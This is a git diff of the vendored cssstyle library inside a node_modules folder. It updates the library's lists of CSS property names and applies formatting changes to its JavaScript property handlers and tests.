CSSStyleDeclaration.prototype = { * @return {string} the value of the property if it has been explicitly set for this declaration block. * Returns the empty string if the property has not been set or the property name does not correspond to a known CSS property. */ - removeProperty: function(name) { + removeProperty: function (name) { if (!this._values.hasOwnProperty(name)) { return ''; } @@ -129,11 +129,11 @@ CSSStyleDeclaration.prototype = { * * @param {String} name */ - getPropertyPriority: function(name) { + getPropertyPriority: function (name) { return this._importants[name] || ''; }, - getPropertyCSSValue: function() { + getPropertyCSSValue: function () { //FIXME return; }, @@ -143,12 +143,12 @@ CSSStyleDeclaration.prototype = { * element.style.getPropertyShorthand("overflow-x") * -> "overflow" */ - getPropertyShorthand: function() { + getPropertyShorthand: function () { //FIXME return; }, - isPropertyImplicit: function() { + isPropertyImplicit: function () { //FIXME return; }, @@ -156,7 +156,7 @@ CSSStyleDeclaration.prototype = { /** * http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleDeclaration-item */ - item: function(index) { + item: function (index) { index = parseInt(index, 10); if (index < 0 || index >= this._length) { return ''; @@ -167,7 +167,7 @@ CSSStyleDeclaration.prototype = { Object.defineProperties(CSSStyleDeclaration.prototype, { cssText: { - get: function() { + get: function () { var properties = []; var i; var name; @@ -184,7 +184,7 @@ Object.defineProperties(CSSStyleDeclaration.prototype, { } return properties.join(' '); }, - set: function(value) { + set: function (value) { var i; this._values = {}; Array.prototype.splice.call(this, 0, this._length); @@ -212,14 +212,14 @@ Object.defineProperties(CSSStyleDeclaration.prototype, { configurable: true, }, parentRule: { - get: function() { + get: function () { return null; }, enumerable: true, configurable: true, }, length: { - get: function() { + get: function () { return this._length; }, /** @@ -227,7 +227,7 @@ Object.defineProperties(CSSStyleDeclaration.prototype, { * length. If the new length is more, it does nothing, the new indices * will be undefined until set. **/ - set: function(value) { + set: function (value) { var i; for (i = value; i < this._length; i++) { delete this[i]; @@ -241,7 +241,7 @@ Object.defineProperties(CSSStyleDeclaration.prototype, { require('./properties')(CSSStyleDeclaration.prototype); -allProperties.forEach(function(property) { +allProperties.forEach(function (property) { if (!implementedProperties.has(property)) { var declaration = getBasicPropertyDescriptor(property); Object.defineProperty(CSSStyleDeclaration.prototype, property, declaration); @@ -249,7 +249,7 @@ allProperties.forEach(function(property) { } }); -allExtraProperties.forEach(function(property) { +allExtraProperties.forEach(function (property) { if (!implementedProperties.has(property)) { var declaration = getBasicPropertyDescriptor(property); Object.defineProperty(CSSStyleDeclaration.prototype, property, declaration); diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/CSSStyleDeclaration.test.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/CSSStyleDeclaration.test.js index 9fa8ed3b..32a0c830 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/CSSStyleDeclaration.test.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/CSSStyleDeclaration.test.js @@ -10,7 +10,7 @@ var parsers = require('./parsers'); var dashedProperties = [...allProperties, ...allExtraProperties]; var allowedProperties = dashedProperties.map(parsers.dashedToCamelCase); implementedProperties = Array.from(implementedProperties).map(parsers.dashedToCamelCase); -var invalidProperties = implementedProperties.filter(prop => !allowedProperties.includes(prop)); +var invalidProperties = implementedProperties.filter((prop) => !allowedProperties.includes(prop)); describe('CSSStyleDeclaration', () => { test('has only valid properties implemented', () => { @@ -19,7 +19,7 @@ describe('CSSStyleDeclaration', () => { test('has all properties', () => { var style = new CSSStyleDeclaration(); - allProperties.forEach(property => { + allProperties.forEach((property) => { expect(style.__lookupGetter__(property)).toBeTruthy(); expect(style.__lookupSetter__(property)).toBeTruthy(); }); @@ -27,7 +27,7 @@ describe('CSSStyleDeclaration', () => { test('has dashed properties', () => { var style = new CSSStyleDeclaration(); - dashedProperties.forEach(property => { + dashedProperties.forEach((property) => { expect(style.__lookupGetter__(property)).toBeTruthy(); expect(style.__lookupSetter__(property)).toBeTruthy(); }); @@ -302,7 +302,7 @@ describe('CSSStyleDeclaration', () => { test('padding and margin should set/clear shorthand properties', () => { var style = new CSSStyleDeclaration(); var parts = ['Top', 'Right', 'Bottom', 'Left']; - var testParts = function(name, v, V) { + var testParts = function (name, v, V) { style[name] = v; for (var i = 0; i < 4; i++) { var part = name + parts[i]; @@ -329,7 +329,7 @@ describe('CSSStyleDeclaration', () => { test('padding and margin shorthands should set main properties', () => { var style = new CSSStyleDeclaration(); var parts = ['Top', 'Right', 'Bottom', 'Left']; - var testParts = function(name, v, V) { + var testParts = function (name, v, V) { var expected; for (var i = 0; i < 4; i++) { style[name] = v; @@ -353,7 +353,7 @@ describe('CSSStyleDeclaration', () => { }); test('onchange callback should be called when the csstext changes', () => { - var style = new CSSStyleDeclaration(function(cssText) { + var style = new CSSStyleDeclaration(function (cssText) { expect(cssText).toEqual('opacity: 0;'); }); style.setProperty('opacity', 0); diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/allProperties.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/allProperties.js index 892a398d..958dd0d3 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/allProperties.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/allProperties.js @@ -1,6 +1,6 @@ 'use strict'; -// autogenerated - 4/29/2020 +// autogenerated - 1/22/2023 /* * @@ -8,6 +8,8 @@ */ module.exports = new Set([ + '-webkit-line-clamp', + 'accent-color', 'align-content', 'align-items', 'align-self', @@ -15,15 +17,20 @@ module.exports = new Set([ 'all', 'animation', 'animation-delay', + 'animation-delay-end', + 'animation-delay-start', 'animation-direction', 'animation-duration', 'animation-fill-mode', 'animation-iteration-count', 'animation-name', 'animation-play-state', + 'animation-range', 'animation-timing-function', 'appearance', + 'aspect-ratio', 'azimuth', + 'backface-visibility', 'background', 'background-attachment', 'background-blend-mode', @@ -35,7 +42,8 @@ module.exports = new Set([ 'background-repeat', 'background-size', 'baseline-shift', - 'block-overflow', + 'baseline-source', + 'block-ellipsis', 'block-size', 'bookmark-label', 'bookmark-level', @@ -134,7 +142,16 @@ module.exports = new Set([ 'column-width', 'columns', 'contain', + 'contain-intrinsic-block-size', + 'contain-intrinsic-height', + 'contain-intrinsic-inline-size', + 'contain-intrinsic-size', + 'contain-intrinsic-width', + 'container', + 'container-name', + 'container-type', 'content', + 'content-visibility', 'continue', 'counter-increment', 'counter-reset', @@ -218,9 +235,9 @@ module.exports = new Set([ 'image-orientation', 'image-rendering', 'image-resolution', - 'initial-letters', - 'initial-letters-align', - 'initial-letters-wrap', + 'initial-letter', + 'initial-letter-align', + 'initial-letter-wrap', 'inline-size', 'inline-sizing', 'inset', @@ -234,6 +251,7 @@ module.exports = new Set([ 'justify-content', 'justify-items', 'justify-self', + 'leading-trim', 'left', 'letter-spacing', 'lighting-color', @@ -258,6 +276,7 @@ module.exports = new Set([ 'margin-left', 'margin-right', 'margin-top', + 'margin-trim', 'marker-side', 'mask', 'mask-border', @@ -284,6 +303,7 @@ module.exports = new Set([ 'min-block-size', 'min-height', 'min-inline-size', + 'min-intrinsic-sizing', 'min-width', 'mix-blend-mode', 'nav-down', @@ -293,15 +313,11 @@ module.exports = new Set([ 'object-fit', 'object-position', 'offset', - 'offset-after', 'offset-anchor', - 'offset-before', 'offset-distance', - 'offset-end', 'offset-path', 'offset-position', 'offset-rotate', - 'offset-start', 'opacity', 'order', 'orphans', @@ -311,7 +327,19 @@ module.exports = new Set([ 'outline-style', 'outline-width', 'overflow', + 'overflow-anchor', 'overflow-block', + 'overflow-clip-margin', + 'overflow-clip-margin-block', + 'overflow-clip-margin-block-end', + 'overflow-clip-margin-block-start', + 'overflow-clip-margin-bottom', + 'overflow-clip-margin-inline', + 'overflow-clip-margin-inline-end', + 'overflow-clip-margin-inline-start', + 'overflow-clip-margin-left', + 'overflow-clip-margin-right', + 'overflow-clip-margin-top', 'overflow-inline', 'overflow-wrap', 'overflow-x', @@ -334,6 +362,8 @@ module.exports = new Set([ 'pause', 'pause-after', 'pause-before', + 'perspective', + 'perspective-origin', 'pitch', 'pitch-range', 'place-content', @@ -341,6 +371,7 @@ module.exports = new Set([ 'place-self', 'play-during', 'position', + 'print-color-adjust', 'quotes', 'region-fragment', 'resize', @@ -349,11 +380,14 @@ module.exports = new Set([ 'rest-before', 'richness', 'right', + 'rotate', 'row-gap', 'ruby-align', 'ruby-merge', + 'ruby-overhang', 'ruby-position', 'running', + 'scale', 'scroll-behavior', 'scroll-margin', 'scroll-margin-block', @@ -380,6 +414,12 @@ module.exports = new Set([ 'scroll-snap-align', 'scroll-snap-stop', 'scroll-snap-type', + 'scroll-timeline', + 'scroll-timeline-axis', + 'scroll-timeline-name', + 'scrollbar-color', + 'scrollbar-gutter', + 'scrollbar-width', 'shape-image-threshold', 'shape-inside', 'shape-margin', @@ -404,10 +444,19 @@ module.exports = new Set([ 'text-decoration', 'text-decoration-color', 'text-decoration-line', + 'text-decoration-skip', + 'text-decoration-skip-box', + 'text-decoration-skip-ink', + 'text-decoration-skip-inset', + 'text-decoration-skip-self', + 'text-decoration-skip-spaces', 'text-decoration-style', + 'text-decoration-thickness', + 'text-edge', 'text-emphasis', 'text-emphasis-color', 'text-emphasis-position', + 'text-emphasis-skip', 'text-emphasis-style', 'text-group-align', 'text-indent', @@ -419,20 +468,28 @@ module.exports = new Set([ 'text-space-trim', 'text-spacing', 'text-transform', + 'text-underline-offset', 'text-underline-position', 'text-wrap', 'top', 'transform', 'transform-box', 'transform-origin', + 'transform-style', 'transition', 'transition-delay', 'transition-duration', 'transition-property', 'transition-timing-function', + 'translate', 'unicode-bidi', 'user-select', 'vertical-align', + 'view-timeline', + 'view-timeline-axis', + 'view-timeline-inset', + 'view-timeline-name', + 'view-transition-name', 'visibility', 'voice-balance', 'voice-duration', diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/allWebkitProperties.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/allWebkitProperties.js index d6e71df6..0a74fa9c 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/allWebkitProperties.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/allWebkitProperties.js @@ -191,4 +191,4 @@ module.exports = [ 'wrap-through', 'writing-mode', 'zoom', -].map(prop => 'webkit-' + prop); +].map((prop) => 'webkit-' + prop); diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/implementedProperties.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/implementedProperties.js index 3828a804..51d69695 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/implementedProperties.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/implementedProperties.js @@ -1,6 +1,6 @@ 'use strict'; -// autogenerated - 4/29/2020 +// autogenerated - 2/12/2023 /* * diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/parsers.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/parsers.js index 8ecdf5e3..d866eed8 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/parsers.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/parsers.js @@ -32,7 +32,8 @@ var colorRegEx1 = /^#([0-9a-fA-F]{3,4}){1,2}$/; var colorRegEx2 = /^rgb\(([^)]*)\)$/; var colorRegEx3 = /^rgba\(([^)]*)\)$/; var calcRegEx = /^calc\(([^)]*)\)$/; -var colorRegEx4 = /^hsla?\(\s*(-?\d+|-?\d*.\d+)\s*,\s*(-?\d+|-?\d*.\d+)%\s*,\s*(-?\d+|-?\d*.\d+)%\s*(,\s*(-?\d+|-?\d*.\d+)\s*)?\)/; +var colorRegEx4 = + /^hsla?\(\s*(-?\d+|-?\d*.\d+)\s*,\s*(-?\d+|-?\d*.\d+)%\s*,\s*(-?\d+|-?\d*.\d+)%\s*(,\s*(-?\d+|-?\d*.\d+)\s*)?\)/; var angleRegEx = /^([-+]?[0-9]*\.?[0-9]+)(deg|grad|rad)$/; // This will return one of the above types based on the passed in string @@ -448,7 +449,7 @@ exports.parseKeyword = function parseKeyword(val, valid_keywords) { }; // utility to translate from border-width to borderWidth -var dashedToCamelCase = function(dashed) { +var dashedToCamelCase = function (dashed) { var i; var camel = ''; var nextCap = false; @@ -468,7 +469,7 @@ var is_space = /\s/; var opening_deliminators = ['"', "'", '(']; var closing_deliminators = ['"', "'", ')']; // this splits on whitespace, but keeps quoted and parened parts together -var getParts = function(str) { +var getParts = function (str) { var deliminator_stack = []; var length = str.length; var i; @@ -521,7 +522,7 @@ exports.shorthandParser = function parse(v, shorthand_for) { var obj = {}; var type = exports.valueType(v); if (type === exports.TYPES.NULL_OR_EMPTY_STR) { - Object.keys(shorthand_for).forEach(function(property) { + Object.keys(shorthand_for).forEach(function (property) { obj[property] = ''; }); return obj; @@ -540,9 +541,9 @@ exports.shorthandParser = function parse(v, shorthand_for) { } var parts = getParts(v); var valid = true; - parts.forEach(function(part, i) { + parts.forEach(function (part, i) { var part_valid = false; - Object.keys(shorthand_for).forEach(function(property) { + Object.keys(shorthand_for).forEach(function (property) { if (shorthand_for[property].isValid(part, i)) { part_valid = true; obj[property] = part; @@ -556,14 +557,14 @@ exports.shorthandParser = function parse(v, shorthand_for) { return obj; }; -exports.shorthandSetter = function(property, shorthand_for) { - return function(v) { +exports.shorthandSetter = function (property, shorthand_for) { + return function (v) { var obj = exports.shorthandParser(v, shorthand_for); if (obj === undefined) { return; } //console.log('shorthandSetter for:', property, 'obj:', obj); - Object.keys(obj).forEach(function(subprop) { + Object.keys(obj).forEach(function (subprop) { // in case subprop is an implicit property, this will clear // *its* subpropertiesX var camel = dashedToCamelCase(subprop); @@ -576,7 +577,7 @@ exports.shorthandSetter = function(property, shorthand_for) { this._values[subprop] = obj[subprop]; } }, this); - Object.keys(shorthand_for).forEach(function(subprop) { + Object.keys(shorthand_for).forEach(function (subprop) { if (!obj.hasOwnProperty(subprop)) { this.removeProperty(subprop); delete this._values[subprop]; @@ -594,16 +595,16 @@ exports.shorthandSetter = function(property, shorthand_for) { }; }; -exports.shorthandGetter = function(property, shorthand_for) { - return function() { +exports.shorthandGetter = function (property, shorthand_for) { + return function () { if (this._values[property] !== undefined) { return this.getPropertyValue(property); } return Object.keys(shorthand_for) - .map(function(subprop) { + .map(function (subprop) { return this.getPropertyValue(subprop); }, this) - .filter(function(value) { + .filter(function (value) { return value !== ''; }) .join(' '); @@ -615,14 +616,14 @@ exports.shorthandGetter = function(property, shorthand_for) { // if two, the first applies to the top and bottom, and the second to left and right // if three, the first applies to the top, the second to left and right, the third bottom // if four, top, right, bottom, left -exports.implicitSetter = function(property_before, property_after, isValid, parser) { +exports.implicitSetter = function (property_before, property_after, isValid, parser) { property_after = property_after || ''; if (property_after !== '') { property_after = '-' + property_after; } var part_names = ['top', 'right', 'bottom', 'left']; - return function(v) { + return function (v) { if (typeof v === 'number') { v = v.toString(); } @@ -643,7 +644,7 @@ exports.implicitSetter = function(property_before, property_after, isValid, pars return undefined; } - parts = parts.map(function(part) { + parts = parts.map(function (part) { return parser(part); }); this._setProperty(property_before + property_after, parts.join(' ')); @@ -674,11 +675,11 @@ exports.implicitSetter = function(property_before, property_after, isValid, pars // sub-parts are set. If so, it sets the shorthand version and removes // the individual parts from the cssText. // -exports.subImplicitSetter = function(prefix, part, isValid, parser) { +exports.subImplicitSetter = function (prefix, part, isValid, parser) { var property = prefix + '-' + part; var subparts = [prefix + '-top', prefix + '-right', prefix + '-bottom', prefix + '-left']; - return function(v) { + return function (v) { if (typeof v === 'number') { v = v.toString(); } @@ -711,7 +712,7 @@ exports.subImplicitSetter = function(prefix, part, isValid, parser) { var camel_to_dashed = /[A-Z]/g; var first_segment = /^\([^-]\)-/; var vendor_prefixes = ['o', 'moz', 'ms', 'webkit']; -exports.camelToDashed = function(camel_case) { +exports.camelToDashed = function (camel_case) { var match; var dashed = camel_case.replace(camel_to_dashed, '-$&').toLowerCase(); match = dashed.match(first_segment); diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties.js index 7f462f38..c156ac7f 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties.js @@ -1,6 +1,6 @@ 'use strict'; -// autogenerated - 4/29/2020 +// autogenerated - 2/12/2023 /* * diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/azimuth.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/azimuth.js index f23a68df..f3f8ae87 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/azimuth.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/azimuth.js @@ -3,16 +3,13 @@ var parsers = require('../parsers'); module.exports.definition = { - set: function(v) { + set: function (v) { var valueType = parsers.valueType(v); if (valueType === parsers.TYPES.ANGLE) { return this._setProperty('azimuth', parsers.parseAngle(v)); } if (valueType === parsers.TYPES.KEYWORD) { - var keywords = v - .toLowerCase() - .trim() - .split(/\s+/); + var keywords = v.toLowerCase().trim().split(/\s+/); var hasBehind = false; if (keywords.length > 2) { return; @@ -59,7 +56,7 @@ module.exports.definition = { } } }, - get: function() { + get: function () { return this.getPropertyValue('azimuth'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundAttachment.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundAttachment.js index 98c8f76b..524083da 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundAttachment.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundAttachment.js @@ -10,13 +10,13 @@ var isValid = (module.exports.isValid = function isValid(v) { }); module.exports.definition = { - set: function(v) { + set: function (v) { if (!isValid(v)) { return; } this._setProperty('background-attachment', v); }, - get: function() { + get: function () { return this.getPropertyValue('background-attachment'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundColor.js index 5cee7176..fe13e40c 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundColor.js @@ -21,14 +21,14 @@ module.exports.isValid = function isValid(v) { }; module.exports.definition = { - set: function(v) { + set: function (v) { var parsed = parse(v); if (parsed === undefined) { return; } this._setProperty('background-color', parsed); }, - get: function() { + get: function () { return this.getPropertyValue('background-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundImage.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundImage.js index b6479a1f..6f230c8d 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundImage.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundImage.js @@ -21,10 +21,10 @@ module.exports.isValid = function isValid(v) { }; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('background-image', parse(v)); }, - get: function() { + get: function () { return this.getPropertyValue('background-image'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundPosition.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundPosition.js index 4405fe6f..9fb9b19a 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundPosition.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundPosition.js @@ -13,7 +13,7 @@ var parse = function parse(v) { return undefined; } var types = []; - parts.forEach(function(part, index) { + parts.forEach(function (part, index) { types[index] = parsers.valueType(part); }); if (parts.length === 1) { @@ -47,10 +47,10 @@ module.exports.isValid = function isValid(v) { }; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('background-position', parse(v)); }, - get: function() { + get: function () { return this.getPropertyValue('background-position'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundRepeat.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundRepeat.js index 379ade0c..38067ae3 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundRepeat.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/backgroundRepeat.js @@ -21,10 +21,10 @@ module.exports.isValid = function isValid(v) { }; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('background-repeat', parse(v)); }, - get: function() { + get: function () { return this.getPropertyValue('background-repeat'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/border.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/border.js index bf5b5d64..ad09919e 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/border.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/border.js @@ -13,7 +13,7 @@ var myShorthandSetter = shorthandSetter('border', shorthand_for); var myShorthandGetter = shorthandGetter('border', shorthand_for); module.exports.definition = { - set: function(v) { + set: function (v) { if (v.toString().toLowerCase() === 'none') { v = ''; } diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderBottomColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderBottomColor.js index da5a4b56..d452e33b 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderBottomColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderBottomColor.js @@ -3,12 +3,12 @@ var isValid = (module.exports.isValid = require('./borderColor').isValid); module.exports.definition = { - set: function(v) { + set: function (v) { if (isValid(v)) { this._setProperty('border-bottom-color', v); } }, - get: function() { + get: function () { return this.getPropertyValue('border-bottom-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderBottomStyle.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderBottomStyle.js index 35c44f05..92104008 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderBottomStyle.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderBottomStyle.js @@ -4,7 +4,7 @@ var isValid = require('./borderStyle').isValid; module.exports.isValid = isValid; module.exports.definition = { - set: function(v) { + set: function (v) { if (isValid(v)) { if (v.toLowerCase() === 'none') { v = ''; @@ -13,7 +13,7 @@ module.exports.definition = { this._setProperty('border-bottom-style', v); } }, - get: function() { + get: function () { return this.getPropertyValue('border-bottom-style'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderBottomWidth.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderBottomWidth.js index db2e3b87..b7679e4b 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderBottomWidth.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderBottomWidth.js @@ -3,12 +3,12 @@ var isValid = (module.exports.isValid = require('./borderWidth').isValid); module.exports.definition = { - set: function(v) { + set: function (v) { if (isValid(v)) { this._setProperty('border-bottom-width', v); } }, - get: function() { + get: function () { return this.getPropertyValue('border-bottom-width'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderCollapse.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderCollapse.js index 49bdeb06..ffe16c87 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderCollapse.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderCollapse.js @@ -15,10 +15,10 @@ var parse = function parse(v) { }; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('border-collapse', parse(v)); }, - get: function() { + get: function () { return this.getPropertyValue('border-collapse'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderColor.js index 6605e071..b6f34e00 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderColor.js @@ -13,7 +13,7 @@ module.exports.isValid = function parse(v) { }; var isValid = module.exports.isValid; -var parser = function(v) { +var parser = function (v) { if (isValid(v)) { return v.toLowerCase(); } @@ -22,7 +22,7 @@ var parser = function(v) { module.exports.definition = { set: implicitSetter('border', 'color', isValid, parser), - get: function() { + get: function () { return this.getPropertyValue('border-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderLeftColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderLeftColor.js index eb3f2735..3228af10 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderLeftColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderLeftColor.js @@ -3,12 +3,12 @@ var isValid = (module.exports.isValid = require('./borderColor').isValid); module.exports.definition = { - set: function(v) { + set: function (v) { if (isValid(v)) { this._setProperty('border-left-color', v); } }, - get: function() { + get: function () { return this.getPropertyValue('border-left-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderLeftStyle.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderLeftStyle.js index 5e8a1133..96f51fc4 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderLeftStyle.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderLeftStyle.js @@ -4,7 +4,7 @@ var isValid = require('./borderStyle').isValid; module.exports.isValid = isValid; module.exports.definition = { - set: function(v) { + set: function (v) { if (isValid(v)) { if (v.toLowerCase() === 'none') { v = ''; @@ -13,7 +13,7 @@ module.exports.definition = { this._setProperty('border-left-style', v); } }, - get: function() { + get: function () { return this.getPropertyValue('border-left-style'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderLeftWidth.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderLeftWidth.js index 8c680b10..8e7946cd 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderLeftWidth.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderLeftWidth.js @@ -3,12 +3,12 @@ var isValid = (module.exports.isValid = require('./borderWidth').isValid); module.exports.definition = { - set: function(v) { + set: function (v) { if (isValid(v)) { this._setProperty('border-left-width', v); } }, - get: function() { + get: function () { return this.getPropertyValue('border-left-width'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderRightColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderRightColor.js index 7c188f24..98cfc9ea 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderRightColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderRightColor.js @@ -3,12 +3,12 @@ var isValid = (module.exports.isValid = require('./borderColor').isValid); module.exports.definition = { - set: function(v) { + set: function (v) { if (isValid(v)) { this._setProperty('border-right-color', v); } }, - get: function() { + get: function () { return this.getPropertyValue('border-right-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderRightStyle.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderRightStyle.js index 68e82093..1bce525e 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderRightStyle.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderRightStyle.js @@ -4,7 +4,7 @@ var isValid = require('./borderStyle').isValid; module.exports.isValid = isValid; module.exports.definition = { - set: function(v) { + set: function (v) { if (isValid(v)) { if (v.toLowerCase() === 'none') { v = ''; @@ -13,7 +13,7 @@ module.exports.definition = { this._setProperty('border-right-style', v); } }, - get: function() { + get: function () { return this.getPropertyValue('border-right-style'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderRightWidth.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderRightWidth.js index d1090d71..5db17ec3 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderRightWidth.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderRightWidth.js @@ -3,12 +3,12 @@ var isValid = (module.exports.isValid = require('./borderWidth').isValid); module.exports.definition = { - set: function(v) { + set: function (v) { if (isValid(v)) { this._setProperty('border-right-width', v); } }, - get: function() { + get: function () { return this.getPropertyValue('border-right-width'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderSpacing.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderSpacing.js index ff1ce882..bf542e6c 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderSpacing.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderSpacing.js @@ -20,7 +20,7 @@ var parse = function parse(v) { if (parts.length !== 1 && parts.length !== 2) { return undefined; } - parts.forEach(function(part) { + parts.forEach(function (part) { if (parsers.valueType(part) !== parsers.TYPES.LENGTH) { return undefined; } @@ -30,10 +30,10 @@ var parse = function parse(v) { }; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('border-spacing', parse(v)); }, - get: function() 